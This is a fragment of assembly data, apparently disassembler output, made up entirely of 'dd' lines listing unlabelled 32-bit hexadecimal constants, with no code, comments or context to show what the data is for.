		dd 0D7646284h, 0B344DF9Eh, 25FDB82h, 7DC7E646h,	6B3790C6h
		dd 8395312Fh, 0EBC5A84Fh, 0C1257604h, 3ECCD5E9h, 8B75D88Ah
		dd 5A046BF2h, 0A10982h,	0CB2FF3BEh, 0B4A71A50h,	0BF9CFDBCh
		dd 0C1635FC2h, 5DD341E2h, 0A1E133Bh, 0AFFAFEh, 12FB1B07h
		dd 0C252015Fh, 0C665C4D9h, 18400AE5h, 2E8A2E1Fh, 0D3A5925h
		dd 7E8DC595h, 9FC47DF0h, 419D2666h, 0F7C2688Ah,	0D49C051h
		dd 9D6BCB99h, 327C2125h, 935F84F8h, 137790C8h, 0F0537913h
		dd 0D9B7A76Fh, 155BA43Ah, 0CA40428Ch, 0A0251F50h, 0D4138959h
		dd 81E77E56h, 0CA3AA1C0h, 0C8213B7Fh, 0BEEC0696h, 104C4A8Bh
		dd 97B02B50h, 92BD2CFBh, 50B65786h, 7BD5CBDAh, 0E381A7A6h
		dd 0D13BCE3Ah, 5E673FDFh, 9CAB2FD4h, 0C54C8934h, 92EA2E0Ah
		dd 0A49AE922h, 351444E2h, 4BAF748Fh, 0BEBF4505h, 8E57FC0Ch
		dd 0D2E20798h, 215351A8h, 0AC8947E9h, 6807819Fh, 0FD0B0A58h
		dd 0E9190C1Eh, 0C3DB88A2h, 48666CD8h, 3E10A835h, 831250C0h
		dd 799E5D16h, 2153DE13h, 29484E0Bh, 24637111h, 0AEEAE446h
		dd 60ACCEB4h, 0BA0566A9h, 295A152Bh, 4BD52CEBh,	0F60F2E2Dh
		dd 7EF50130h, 2AB068CDh, 9EC2EB85h, 544948CBh, 0E3504059h
		dd 0FE8C4241h, 0C2B77AC8h, 740C905h, 0F2FA0103h, 8EAF18B6h
		dd 321AEEF1h, 93EE042Dh, 0DD258CF6h, 9120D94Ch,	42AB0E2h
		dd 18061B5Ch, 0D709EE41h, 58B2C0E7h, 2B02BF5Bh,	1C64C540h
		dd 30625E1Fh, 8207FFA5h, 3652F275h, 200127D8h, 0E95719D7h
		dd 0ED7ADE68h, 0C2E610ACh, 673F257Bh, 9C5ED054h, 7EAFC2E2h
		dd 0C843E902h, 0BDED83B2h, 72C261FCh, 0E82803C4h, 65DD2BF2h
		dd 27AE208Bh, 9BB192A0h, 0E3D23052h, 44A31517h,	4FC41F91h
		dd 90B85A00h, 0F261DC00h, 652E3D2Dh, 20349625h,	405B0507h
		dd 0C8B70EE9h, 2912F38Ah, 9EA06A7h, 0E1004958h,	42382ACEh
		dd 0B409C1ECh, 48BC53h,	666FB752h, 0DFC973Ah, 594A0820h
		dd 0F9BAE324h, 0B1D51297h, 47FCE229h, 897E971Ch, 58F9E970h
		dd 67D3CB61h, 8FC9AB8h,	0BF01FD28h, 52B37673h, 3101F840h
		dd 3B50418Bh, 0FD095AB1h, 9867E07Bh, 0E918217Eh, 6293ACA4h
		dd 180B3D38h, 42BB79BBh, 5E7AAB80h, 9FC688Dh, 58308FC9h
		dd 9E5595A7h, 0A3585E7Ah, 50C2588Fh, 0AA5A0A69h, 0AFD2F0FCh
		dd 44D291E7h, 5A8D308h,	74E8DC88h, 0C16F9B32h, 39BD5840h
		dd 89C94DBDh, 727852E9h, 0C29E5750h, 4F440A39h,	0BBF599C1h
		dd 0C92189C9h, 5360FBCDh, 1CE91ADDh, 3B84AF9Fh,	3B56F18Ch
		dd 0F0D616E7h, 0D95EE901h, 0CBFE31C0h, 0E656E480h, 3C644CEBh
		dd 0ED1A7434h, 76C0791h, 5BD5487Dh, 0B9000FE8h,	6A4F3BD4h
		dd 2FF9C149h, 38AD39C0h, 6D009713h, 60C3DA67h, 68BEF6FCh
		dd 68BEB30Ch, 4C74BDDCh, 0DE202903h, 22EED95Bh,	46C177C2h
		dd 987F3B1h, 959DC4D5h,	68AAA95Fh, 5CB15137h, 11284DA2h
		dd 0F90A4B85h, 0C03E9F17h, 1A3002B8h, 0C301208Bh, 0B76B6562h
		dd 8683EC33h, 7694DAF4h, 0D74152C4h, 6A98ADBBh,	0C115F7BBh
		dd 451342A4h, 0FFE906CCh, 0E74A3538h, 0DC5A7DF0h, 0C8B61883h
		dd 0C398F680h, 0F328C706h, 8782F4F9h, 2B60FF5h,	481593h
		dd 0B5B8F2A9h, 85057C74h, 70C85F03h, 766044E9h,	175C0421h
		dd 0AA31B06Ah, 0E7706381h, 1C38300h, 97E38103h,	0B7355A2Dh
		dd 0FD6CC490h, 390CC040h, 0E989B866h, 20FA465Bh, 5C51688Bh
		dd 0EAAAD19Dh, 811B187Ch, 391EAEB9h, 0F5937C1Ch, 2055874Bh
		dd 0FCD7AF2h, 0B1980BBDh, 0A4753CB6h, 0A8BE23DEh, 0BEC7CA47h
		dd 3575289h, 8A0782E1h,	95E0E128h, 0F9FCF7Bh, 6161BB2Dh
		dd 68E82975h, 69787BC5h, 146DE6C4h, 0DBB41635h,	206809C8h
		dd 0C9FA597Ah, 0ED91BD5Bh, 0A8050525h, 2420092Fh, 4DA280CEh
		dd 0BD096D07h, 88155F2h, 2B83715Fh, 82BEB557h, 620E66E0h
		dd 5705AE68h, 6171347Eh, 6E682980h, 5D0D4475h, 0B692F595h
		dd 0A5FF5E55h, 24209ADAh, 9B69820h, 1903102Ch, 0F390B3F4h
		dd 0AD2B0B41h, 5C6F8977h, 0DBF24BFBh, 3A4EF8F6h, 0BAB44CEDh
		dd 0B7BDEE2h, 2CF828DFh, 2365D8A9h, 9A4294CAh, 0B735A123h
		dd 72EC5193h, 3D18B560h, 88395AB2h, 943484D0h, 0ACBA202Ch
		dd 4070F5Ch, 5084D436h,	6A4DB9D6h, 0C6F296B2h, 0E059FC93h
		dd 0E17783E9h, 0D6A5F82Bh, 682543FEh, 0FE8439B3h, 0AAA203A3h
		dd 35005DFEh, 8A46A6F2h, 27BD3F55h, 0E96B6E86h,	1F94ABBAh
		dd 46AF1D0Bh, 47F9020Ah, 44816441h, 0E961B474h,	207AEE3Bh
		dd 6F63BED3h, 0D435CC27h, 18E91F9Fh, 0E2C39570h, 0CF017212h
		dd 30F9AF57h, 147AE884h, 53F31CABh, 883563C0h, 224685Bh
		dd 0D847E405h, 6155407Fh, 0FDEB0285h, 1E1CFC1h,	937AFCE6h
		dd 4DAEDB5h, 7A2A6F92h,	143CD8AEh, 44B9554Eh, 3492E186h
		dd 0B5825A58h, 264E8E04h, 0C4443BC5h, 0BFD8F7h,	2AF00DEAh
		dd 90C03855h, 0AE5E2D04h
		dd 0AA8C4A52h, 3E304F99h, 44081D28h, 97E18154h,	74509C71h
		dd 765EE9CFh, 5608EEC2h, 34B03C41h, 4399B995h, 7CA8F663h
		dd 1951C3Eh, 4EA9E8EBh,	0E086A8B5h, 953B3AE9h, 0DEFC6518h
		dd 5C74101h, 52182374h,	5A49093Ah, 955E8A5h, 0F8D990D6h
		dd 0BA64988h, 457F575Dh, 0CCE94222h, 8B957B50h,	0A0F6DCA9h
		dd 1EB2F81h, 32096D98h,	92AF134Ah, 0E7555B0Ah, 0FAE905CDh
		dd 4CF2BFD3h, 0BF307C12h, 0E4A3A21h, 5AEE386Ah,	2885ECBDh
		dd 0BD4021BAh, 2FF6A4D2h, 0F62F7E96h, 0FDBD3964h, 204EC2Fh
		dd 7871BE5Ch, 1BA163DBh, 982F0C92h, 0C8BD3156h,	7815D02h
		dd 3C68E7F5h, 0EB5F8573h, 0C6B3D782h, 20515025h, 0CA7F5AB1h
		dd 69A734B7h, 84B501FFh, 3A4A0C06h, 0D92579A6h,	7B2546D4h
		dd 0FFF804B9h, 578BBF30h, 57C1AE42h, 6C1CFD68h,	56AED64Ch
		dd 9F64B263h, 0D7D5B38Bh, 0EF0FDF46h, 3F35C216h, 0E5D15A45h
		dd 0DD24EEA8h, 4F140BC7h, 56713174h, 257D9F6Fh,	0D16540D9h
		dd 2F5078E2h, 0FC796E42h, 0CB48A6BCh, 0FEDAF682h, 0DA20DDCAh
		dd 9BEA8002h, 7732D8BDh, 0FF7BB5FDh, 0A443B68Fh, 149231A1h
		dd 7F9C4605h, 832B9CCCh, 2E235C1Bh, 70DE6B0h, 0E9687F09h
		dd 75C42B43h, 75493948h, 580C8C2Fh, 250505FEh, 0AA7FF920h
		dd 0E6629DDEh, 0D3F7EFD4h, 37AF3D57h, 0DAEDAFA0h, 6C60DD62h
		dd 9023960Ch, 0B04AB74Dh, 6AE90802h, 4E18BC76h,	7A2A054Ah
		dd 240CC03Eh, 0E99DE60Ah, 9C11B624h, 0C1DEE0BDh, 0C115E109h
		dd 0AC3C0D0Ch, 0B2DF6057h, 0FAD0BF4Ah, 5C1401E8h, 2E023430h
		dd 504C1248h, 583CDAFFh, 8D10735Ah, 0B6050082h,	17A040Bh
		dd 72D50C8h, 0B154ED59h, 0ACF5ACBEh, 8F0BB7ADh,	0C195C4D7h
		dd 551D67F0h, 22FB2B1Eh, 89779B3Bh, 876EDF08h, 5F194C38h
		dd 85F931FFh, 998A7B7Ch, 41CBEC5Fh, 50846240h, 3408C8Fh
		dd 98BD27E9h, 0D5202DC6h, 2FBB059Dh, 0EA15DD7Fh, 2EB8EE0h
		dd 0EA2280D1h, 0B2F9DA89h, 57F14CEh, 7864F60h, 705990Ah
		dd 0FBE95105h, 16B97BB0h, 4275D89h, 0EE6BBCB7h,	0AE4A6FB2h
		dd 66D8D631h, 537D412Eh, 7B0EC745h, 80EAA1A4h, 56171BA4h
		dd 0EFB0894Dh, 0A3F730E9h, 6A5EE8C9h, 0DD09311Fh, 18B0571Fh
		dd 244D78BEh, 48307C9h,	813445F9h, 3E469784h, 0F8044E35h
		dd 0BE0355A1h, 6BD2297Dh, 66DF2E40h, 70609625h,	1606D8A2h
		dd 3B0B5538h, 0E5F3019Dh, 1C5925C1h, 5BE89D12h,	0BF95AE3h
		dd 2C1E82B7h, 62C330D8h, 69725539h, 7C10FA04h, 0D0EA2169h
		dd 0B5350378h, 405F4103h, 0AF42B12Dh, 0DE258CAAh, 0F2E98901h
		dd 504B5C78h, 553E4BFAh, 6A450C0Eh, 0EF92BB30h,	0A44ED75Fh
		dd 1F9FBB80h, 8B9064F8h, 50235F59h, 757E7D09h, 97BF224Ah
		dd 0CEE93157h, 5F2293AEh, 0D4FD7C22h, 6F7DC26Ah, 0B9D1F603h
		dd 16C1620h, 0B883D4B7h, 1E4F2E24h, 0D8A07924h,	0DC4AC707h
		dd 264C119h, 651608C0h,	0FCE97FB0h, 57530715h, 0E5F72934h
		dd 0B40812EFh, 0BFA93A0Eh, 0C0293F5Bh, 0A2F2F1FCh, 29595570h
		dd 126A7A27h, 2DCDC9E9h, 0D2226CB7h, 0B9FA13ABh, 10EC952Dh
		dd 0AB40B4A6h, 8C20006Bh, 0DF99BD0Ah, 0F29DF573h, 0C8EE039Eh
		dd 2935063Eh, 882A6B6h,	0AE7E1E85h, 0FC923E37h,	0B676485Fh
		dd 1E360131h, 0B72D77B9h, 0DFF86B3Dh, 0B84ACD12h, 525CE21Dh
		dd 9B0F31CEh, 61F90148h, 28E57CEDh, 6609DDC0h, 0C4E38853h
		dd 0C5831795h, 0E521D102h, 4A9C2381h, 563E04ACh, 0EC1D4B7Dh
		dd 505CE033h, 0EC681253h, 0C44EB80Bh, 0F112D728h, 2CEEE199h
		dd 4EB4EBBh, 814F0554h,	0D22F4384h, 0DC329840h,	9FC18980h
		dd 0B3AAB682h, 4046570Bh, 0D59E9F77h, 0A077DB83h, 6818D920h
		dd 0F74E2CADh, 0CD13264Fh, 496940DCh, 49766FC1h, 0A25FD567h
		dd 715DC9B3h, 0CC5749E1h, 5F1F2773h, 0F44284F1h, 0CFBF5EA1h
		dd 7DF9BE49h, 296DD5A5h, 4C88E984h, 0BFE8E4h, 27CF6CADh
		dd 1A43BB53h, 69909976h, 0BE381C0Bh, 18C87DDEh,	0D90B40F8h
		dd 0D7FA89D1h, 0B0DE1F29h, 155DEDC0h, 683F09CAh, 96B33756h
		dd 0B321FFCCh, 0F99C5D8Fh, 8D65BF7h, 1DE3621Dh,	4D0C52D8h
		dd 8D7D25B0h, 0FC951D70h, 65689503h, 0E426B2Dh,	5B934FDh
		dd 12E5BE56h, 9301AE0Ch, 79F5382Fh, 1301AA42h, 0FFC49DCAh
		dd 0E02FB90Fh, 4956641Bh, 50448EAAh, 0F19538D5h, 0C808C93Dh
		dd 5FBE80FCh, 0BF32800Ah, 1AF16F02h, 42F7318Bh,	12BA27Bh
		dd 0F34841C6h, 0D8305C00h, 68F2FEBDh, 38742FE6h, 0D9681656h
		dd 83B76077h, 5B286452h, 95742Dh, 0AD7B35E9h, 96A47C9Bh
		dd 0BBE9E5D9h, 94D4AFA3h, 0AFF6189Ch, 74529268h, 21E5173Ah
		dd 0B7B60BAAh, 3827AB74h, 805DB5ACh, 39074FBBh,	0D809707Ah
		dd 17BE1AC3h, 0AC61B318h, 0D6907377h, 64DB3925h, 0B0B775Bh
		dd 82FB850Fh, 0A67A65F7h, 18580861h, 7FC18809h,	85C92CD3h
		dd 9DEA71E0h, 0AECE40B3h, 272F4A09h, 983C229h, 2F294508h
		dd 479B0655h, 0D07895DDh, 0D04E72F0h, 0ECC8F5BCh, 391D2E0Dh
		dd 5862D4FEh, 0E6BF3119h, 18E9B0Bh, 0B278B353h,	0B3E0C229h
		dd 6340F3E9h, 3F41DCBDh, 217FF52Dh, 0B3BFE99Ah,	926FA7B7h
		dd 350025C6h, 75913D5Ah, 893A0F4Fh, 0CFE90E4Dh,	0EE80CE21h
		dd 30F0C1F2h, 38BF57F7h, 5AD36835h, 0E03CCD30h,	190233EEh
		dd 0CD2ECE05h, 80895021h, 97DBE907h, 0C6884202h, 971A9655h
		dd 2C859557h, 349E12DFh, 0BB94430Ah, 2DEB0EF4h,	0E4E1D3FAh
		dd 3F1C7532h, 2CA534F3h, 0E92E51B1h, 7DA5472Ah,	7C605F6Ch
		dd 75F58127h, 98F2D39h,	0F40CB7D0h, 1A310E10h, 762C00DEh
		dd 39EF2D44h, 889D368Eh, 5D160773h, 3E3326BEh, 384DF504h
		dd 0ACB11FE3h, 7E3D043Bh, 0CCEF12B2h, 644E0347h, 0F6684D20h
		dd 1CE63698h, 0AF205ACFh, 81B80403h, 0AE8C0E8Dh, 0B6AE84C5h
		dd 32FD5EACh, 0AFF8E985h, 0E37E1E29h, 0B4E91AC8h, 0E5FA5593h
		dd 380FEA2Dh, 0B75EF2DEh, 759C3F40h, 8C3A6527h,	0B8841239h
		dd 994B5059h, 5802FC24h, 31E215Fh, 1818D847h, 0FD127DBDh
		dd 40AA4D6Fh, 70BCD436h, 0EF4B3197h, 0AC208744h, 26CA8003h
		dd 88C9F298h, 5420D37Dh, 0F1810252h, 86CA312Bh,	0DE1267D4h
		dd 0A22A7FB1h, 93C1B14Ah, 1F3B224h, 0BE162108h,	0DE9E2995h
		dd 5FA709D5h, 1DA1B4A2h, 0CC847D09h, 0F2E7EE8Fh, 0EFF93A13h
		dd 52E57089h, 0AA37123Ah, 60B007F4h, 8AF28D6Dh,	30481018h
		dd 5492545h, 18EA590Fh,	4ED9B88Dh, 5040AF3Dh, 0B10DE4AAh
		dd 9631C2DEh, 0AE3EC47Eh, 0C2E411B8h, 59DE9754h, 5F23E253h
		dd 6C5DEC89h, 0E88931AFh, 0CAE9C556h, 9F0050h, 452235DDh
		dd 6E7660F7h, 4FFE2E94h, 0C0012AD3h, 7A5564D8h,	1F07AE41h
		dd 0BC840DC5h, 81C7E8C3h, 5827227h, 3244DD80h, 0A16F5BECh
		dd 7D876FA0h, 0C2705460h, 0C8312755h, 504F496h,	0ED85AD1Eh
		dd 3BF10C2h, 8B9EB80h, 62622FDAh, 1B570C0h, 0CAEF8147h
		dd 0F0AFAAECh, 689921B1h, 84595689h, 0B8F4957Dh, 80EA00D0h
		dd 0B753B1C2h, 0FA2C2810h, 6A28395Bh, 0C13C3E1h, 3C281DFFh
		dd 0B4E0F855h, 5D5E0032h, 0DBF7D987h, 3C4908DFh, 810276ABh
		dd 287BB551h, 0ACBCF3E8h, 31AB4A0Ch, 8CA4E6D7h,	6AEEADFh
		dd 0B1511A7Fh, 0F6609CFCh, 7A2DE9CAh, 4E0EC886h, 0EA8180BBh
		dd 945B5A09h, 829FF270h, 41475908h, 383E92E9h, 4133C94Ch
		dd 0F52FBF1Ch, 10803E24h, 0B85059h, 22B2145Ch, 0F9734005h
		dd 8D0D203Fh, 0C278F45Bh
		dd 7EABD4h, 22F22D1Ah, 0D4E943D9h, 3AAC495Ah, 0CDDABBF4h
		dd 0C86A1D09h, 6F163D7Ch, 9F856ABDh, 0E071BB42h, 79111FD2h
		dd 14FE04A1h, 3617E02Fh, 0F9080112h, 26941828h,	466801D7h
		dd 583FFC59h, 2181046Ah, 58A8BAF9h, 0DD068E0h, 53C450BEh
		dd 0C38B94E9h, 7C099C74h, 0C844FFE5h, 545D5425h, 70495A97h
		dd 58416C8Eh, 40EC5A2Bh, 6D4E8DA8h, 0A3EB0134h,	16594304h
		dd 0E16223D3h, 3AE0E18Ch, 0C75E946Fh, 0FAEF70BFh, 0FCBA88E9h
		dd 8024DDE6h, 0EE1280C5h, 0D3C904FFh, 0D75D09F0h, 0F74B8265h
		dd 0EBE97468h, 0BA2D139Fh, 255D010h, 5266F828h,	5560B050h
		dd 0F4B5C0B2h, 6E8569BFh, 0A7E4EB9Ah, 0CD085842h, 0EC58C212h
		dd 25F1A0D0h, 291D2538h, 806BC67Dh, 5B6FE90Ch, 3EB9A3D3h
		dd 1C53DB82h, 0AEDF7FD1h, 7902B32Eh, 0FE686340h, 5ECC9535h
		dd 30BC790h, 0D6314A1Fh, 0FEE989C6h, 0D20902AFh, 0A2674484h
		dd 9CB49263h, 85416Ch, 3627BBA9h, 7009B227h, 0AA9926A9h
		dd 1CF92D1h, 726E205Fh,	87AEF47Bh, 1601A599h, 49700B21h
		dd 19068060h, 0C812233Eh, 0DE130432h, 14499414h, 24DDD3Dh
		dd 7F040592h, 96377837h, 5705A587h, 0B5C4FA6Ch,	9566E7AEh
		dd 6CBF5F5Fh, 0CEBF5CBFh, 4E652B40h, 71A10CB2h,	0A2B65D10h
		dd 0DE456809h, 51E96245h, 0EDC094ABh, 9FD3612Ah, 600E5C4h
		dd 0B026CBB2h, 0ECC84C29h, 2F336E10h, 8C8CF658h, 0C02EF7BAh
		dd 0FE6253B0h, 6A8E98ECh, 8CE141CDh, 0BB03056Ah, 0D62BF902h
		dd 898D9A0Ch, 338117FBh, 2A7407D2h, 204F705Bh, 43F0525Ch
		dd 494E7C95h, 0C0FEA6C0h, 0E2DF71BFh, 64D5067Ch, 4E086459h
		dd 32CBFE44h, 55C8501h,	1542946h, 0A4CBA52h, 0AAE91908h
		dd 0D9416CA5h, 71D5D66Ah, 9E52ADE4h, 5FC1EECBh,	22818048h
		dd 0E810BD2Fh, 7A5E1445h, 0FE092DCCh, 0E6C01E54h, 0D3F51C0h
		dd 4D18E97Ch, 89A06A4Eh, 0D6F73003h, 1A2AD596h,	89B0EB4Ah
		dd 3FF55821h, 0EBABE5B5h, 0EEB39F8h, 16FBE75Eh,	0B5E5BCF8h
		dd 51A9EAECh, 30C301EDh, 0B340CC59h, 6FB00BBAh,	85FF6D61h
		dd 0A7B809B0h, 77232B6h, 0B71F5082h, 7982D80Eh,	1EE115B4h
		dd 2D2036B9h, 9FA1F0D2h, 0E6C32A30h, 7D684625h,	3083D28h
		dd 0EF4CE957h, 1DBD4406h, 20488404h, 68277FF2h,	0FAA9C68Ch
		dd 0CCBA5FA6h, 79654597h, 8260B920h, 0CF932F0Ch, 0EF0ACFF8h
		dd 98591308h, 6D413F83h, 0E7AF7ECh, 924FA6Eh, 187F5F69h
		dd 90D02905h, 0D0314A1Ch, 4F2D472Ah, 4B2F057Bh,	9D5B1C7Dh
		dd 537E024Ch, 3BEC08D6h, 0F9DD784h, 74F7D25Dh, 0AE60E984h
		dd 1AC15027h, 888302ADh, 73156491h, 0F9378A0Eh,	0A40EA339h
		dd 5CC08C84h, 9FDE2958h, 0DA09DB96h, 72EC711h, 0CC40AEBFh
		dd 4B96E902h, 58BB305h,	0ADA68C2h, 5EE91D43h, 0B0F35BE3h
		dd 74F68BBh, 0AEFCC217h, 5EACAFB4h, 132CB2h, 0FE5D7CC6h
		dd 3F6BE928h, 0A7EEE9C0h, 941F790Dh, 3D86B9E8h,	0C7DDF5Ah
		dd 821EFA01h, 69D1E936h, 68A7202Fh, 19932075h, 9B9E308h
		dd 7985E8C1h, 5C62A02Bh, 10722C3Ch, 68090C3Bh, 0A4712132h
		dd 76154080h, 48EFC141h, 0B00E1D02h, 0E9E2A282h, 9071345Ah
		dd 0A1685382h, 0BB459002h, 0AD6FE139h, 7F5BA2E9h, 0C6026EF3h
		dd 5D65441Eh, 90E257E8h, 0AA11317h, 9ABD8F60h, 1228E478h
		dd 0F191E94Dh, 1DD2ECBCh, 420C882Fh, 0CDA8DF16h, 22DD270Bh
		dd 0FA90501Eh, 0A34430ADh, 694FF83Fh, 7E4131E3h, 500545E9h
		dd 0E083D20Ch, 0C6B229C4h, 0C6CE4A20h, 0E92B4F0Ch, 3924E37Dh
		dd 7440568Fh, 130590Dh,	0B9BB5356h, 0CB3BC122h,	9CE906E8h
		dd 29176EB6h, 449C881h,	8AF76Ah, 0C9FE57B1h, 0B803E9C0h
		dd 0A0C9E98Fh, 8B7436Bh, 26D91D05h, 8DFD6B7Bh, 0BAC68117h
		dd 0D7994856h, 2258ED2Bh, 0F65A2474h, 0A1BA12F0h, 55E2C2h
		dd 9662863Dh, 138B82EBh, 717DA789h, 26C6C9C7h, 750DBF09h
		dd 21D29B9h, 0DC9545A1h, 0F1D47A45h, 6160605Ah,	51DB3064h
		dd 0D532018Ch, 77B10A5Bh, 5138504h, 0B74DA5E0h,	0F9D2A9A2h
		dd 54685202h, 5E7462A0h, 39686C76h, 3E23AE3Eh, 24382D8Eh
		dd 0D6F1579Fh, 0E85D0703h, 4F235177h, 8AB9E03Ah, 4404740h
		dd 62DEF005h, 2A08F9FCh, 3CF19448h, 9BA4E5Dh, 47755BBEh
		dd 59E9859Ch, 7710B9ABh, 3F93B36Ah, 60264202h, 6FC8336h
		dd 0FCBB845Ch, 0E6BEB4A3h, 8216926Eh, 0F3FC5817h, 9C2EE9B0h
		dd 5D72FEB6h, 530083D4h, 12D1BE56h, 0C9754BBDh,	0A30BF8FFh
		dd 0C565BC96h, 64F7D9A9h, 2FDFB1BDh, 781093F6h,	102448C8h
		dd 4A506739h, 20ADD51h,	0E823B0CBh, 1EE6E840h, 0E97F2CECh
		dd 0B2CE0297h, 4A8ED846h, 9D6F1C50h, 0C3A8FAD8h, 4F0620CBh
		dd 594A5A25h, 240118A1h, 2D04C829h, 0CDE0418h, 12CBA9F0h
		dd 345D616h, 68E5E905h,	0F1958778h, 97FA7AFh, 0E2F63B1Dh
		dd 0BA2EA21h, 0DB426B88h, 4047486Ch, 0A4BEE712h, 0B4E6E18h
		dd 9D584FA4h, 0A9245270h, 3F40E498h, 0FF7B8505h, 95A57EF0h
		dd 9F49D9AFh, 96094A5Ah, 0D655EE36h, 4A08A0DEh,	0C138F258h
		dd 88BF801h, 0EA5844A5h, 802132B7h, 2F882D73h, 61415BBFh
		dd 176EFFFh, 447FF8E9h,	1751C662h, 898809AEh, 4C76A5Dh
		dd 0B00782ECh, 6CAC72A3h, 9BD7B65Fh, 0FF3581FCh, 6B4F052Fh
		dd 0A2CE96F5h, 7CC8018Ch, 205713DFh, 0B41F279h,	4A0A1504h
		dd 1CC0D2F7h, 16E08246h, 82D4E9B8h, 656B3FDh, 0DD584225h
		dd 616B936Eh, 89E75CBh,	17846620h, 0CC1F6268h, 7B124082h
		dd 1F031110h, 95C00C67h, 9E351691h, 82EFDC9h, 0E620E483h
		dd 435A4631h, 0A82B58C2h, 11257C33h, 260C90C5h,	0E9224F05h
		dd 3E0841FBh, 0C5C529ECh, 0DC94BC02h, 0F925E82Dh, 5FD19F50h
		dd 0CE90258Bh, 26459703h, 506BD5A6h, 0A690275Eh, 193F3DC7h
		dd 0F52D3DC9h, 0B36899DDh, 2B67BB03h, 8DD1218Ch, 6969D0h
		dd 3F322479h, 49D3F74Bh, 0C0C5743h, 5A3E3EB1h, 8D8D60B4h
		dd 122F594Eh, 0BD85BB89h, 6A369A04h, 0E2B424BBh, 5A3B102Dh
		dd 0E9532881h, 2896841h, 2093F380h, 8BD8C1DDh, 0BB07EE04h
		dd 1534CBAh, 89107FD1h,	0CB14BE5Ah, 55EA23ABh, 515D30FAh
		dd 1ADA2153h, 5E559196h, 0BD3C954Bh, 66CE8802h,	3C408659h
		dd 74BF9301h, 2260CB20h, 1AC07B2Ah, 0D1036A68h,	5AC3F457h
		dd 7EE1F30Ah, 657DBD0Ah, 951CC919h, 585DFC2Dh, 0F5046851h
		dd 59426B38h, 7D04EAF2h, 82F13BAAh, 0F1D14F86h,	68EF5B12h
		dd 7541B3FFh, 3FAB4082h, 7E579736h, 92100B55h, 5DEE2F22h
		dd 0FE0B0D47h, 2F17E460h, 54C414F7h, 2F467C20h,	0B5F6F330h
		dd 0DC908352h, 813E4FD4h, 220187Eh, 0E48BC05Bh,	50B75864h
		dd 8807E212h, 7C137616h, 15332E1h, 9BB41601h, 3B38751Dh
		dd 299AF04Eh, 5914201h,	44155335h, 0F61A7AD4h, 2DC7A14Eh
		dd 115A0747h, 81E5E91Ch, 6638B60Dh, 7E66C03Eh, 29F47B0h
		dd 79FAABEh, 115FF0BDh,	0D49D4D59h, 293483EDh, 0CDB06301h
		dd 18386CFBh, 36BF9357h, 80280B0Fh, 8F5B1FEFh, 0E4F775Eh
		dd 4B2EF4E7h, 1240F652h, 5D425336h, 40230DBDh, 0DEB5EB59h
		dd 4BEA9346h, 6DA27CC3h, 0AD7E5679h, 3E55727h, 41D9DA2Fh
		dd 4EE3D4E4h, 8DB20AC7h, 44973FC2h, 192B20C5h, 0B4EDC128h
		dd 6206F535h, 0C706A4BEh, 0A9E26BEFh, 56DA2DC2h, 0D47038E2h
		dd 0E362882Ah, 7FA3B902h, 0F729B1AAh, 70AB79E8h, 899A09F2h
		dd 10343149h, 680B88BEh
		dd 1C713299h, 0F5982B89h, 3A6704B1h, 2D78EFE3h,	98E70B87h
		dd 0A4EA5DA7h, 0A8DAC5D5h, 0E0962D41h, 0B051947Fh, 3518C0B6h
		dd 45D77ADDh, 1AC2293Eh, 0C06F07B7h, 3EC1312Ch,	0F71A8758h
		dd 0CCDE08DDh, 0F928061Dh, 0F0F00198h, 88F8F35Ah, 6528FB4Eh
		dd 657B97E4h, 0C9A37649h, 2BF12309h, 0CBA12012h, 60B79A78h
		dd 8A705CCBh, 0CFD1054Eh, 5D02C947h, 0AC26A5Eh,	0C4700B92h
		dd 70FC244Fh, 43DC8BA2h, 0B6AB5C13h, 5CCB5F58h,	0C43DFD2Ch
		dd 62ECAB87h, 8B97E9E0h, 4988E7DDh, 6D2498h, 15D14EB7h
		dd 0D950F759h, 0B11F45A3h, 5ADEEA2Eh, 0F7D501CDh, 91640E61h
		dd 658B0BBDh, 410F4C5Bh, 84967384h, 60E3F530h, 4D45DAA7h
		dd 2D14ADD8h, 0F81517h,	0F408C151h, 82A49F94h, 0DF62A00Ch
		dd 12C10C57h, 86344B24h, 2D000629h, 3F597B21h, 0CF8C2EE9h
		dd 28DCEE37h, 23390906h, 0E5D7FB89h, 0C6C7A5B5h, 0D7374ADh
		dd 30E95356h, 984AC71Fh, 407354B3h, 449D54ACh, 0D11724ECh
		dd 2DBA8767h, 0AB774E1Eh, 91718305h, 1022F7EAh,	3024B4B1h
		dd 45201264h, 41F2BCC7h, 0AE4014AAh, 0E45C8B53h, 4889D454h
		dd 0B14B17DAh, 0FEE26EBAh, 0E9F565D2h, 6CF450EDh, 346F5B81h
		dd 938AEFEAh, 8994BC4Bh, 0AF88D74Bh, 0FCC802C1h, 2F7521C2h
		dd 67C2015h, 4C297B05h,	84093F3h, 28AEB05Eh, 0F50DB94h
		dd 227D73EEh, 0E6EA916Bh, 28663A61h, 0B0E65B1Ah, 0EA11E625h
		dd 7B847BFCh, 0E1D6ECBAh, 16963C4Ah, 16C2ED5Ch,	28BB4C30h
		dd 6141EE66h, 526AC231h, 97DCE483h, 0C133EF64h,	5E9FA0ABh
		dd 1E1260BDh, 145D8248h, 98FE9D3Ah, 0CE4BF78Ah,	0B6C05464h
		dd 3D685253h, 55AC0A76h, 6FEA008Ch, 0E946DCC6h,	290A345Ah
		dd 0C9089558h, 0A5552F73h, 0CDD0BC2Eh, 0B0D7095Eh, 32835A7Eh
		dd 54755206h, 0C1E9C8EEh, 6A14AB68h, 26D900A2h,	29E8C46Bh
		dd 0D8263998h, 5CC2F888h, 0D53357DFh, 4C57DE4Eh, 2752E9A4h
		dd 92D0EEB6h, 7EB5A977h, 0AFBE42AEh, 4E61E440h,	8BF6813Fh
		dd 5049A16Fh, 0EEC112D8h, 0FBC9EF05h, 4B01820h,	29A0625Ah
		dd 57F3ABDEh, 1FB7DA84h, 0BD085427h, 0CC58B012h, 4B240911h
		dd 880242F0h, 406EDEC6h, 86F6A29Dh, 8668660Bh, 0B228B58h
		dd 2183C1BFh, 5E6B9E60h, 9FA7A395h, 1CD9F68Ch, 7B6B02BFh
		dd 0FD31EAE2h, 0C258B056h, 0C76B05E3h, 0C4EA2963h, 0FA084942h
		dd 5E5DCFB0h, 0D769BF91h, 0CA0C5651h, 2B8764Ah,	594528D1h
		dd 0FAD38468h, 53BE2E01h, 0B76E29EBh, 0C7310E2Fh, 5FD6E9E9h
		dd 0B805D91Ch, 97E4F40h, 50044ECh, 23AD139Bh, 0C717082Dh
		dd 12BEA1EAh, 4D29F823h, 0C96ADF20h, 4AAF8048h,	0F788C6F9h
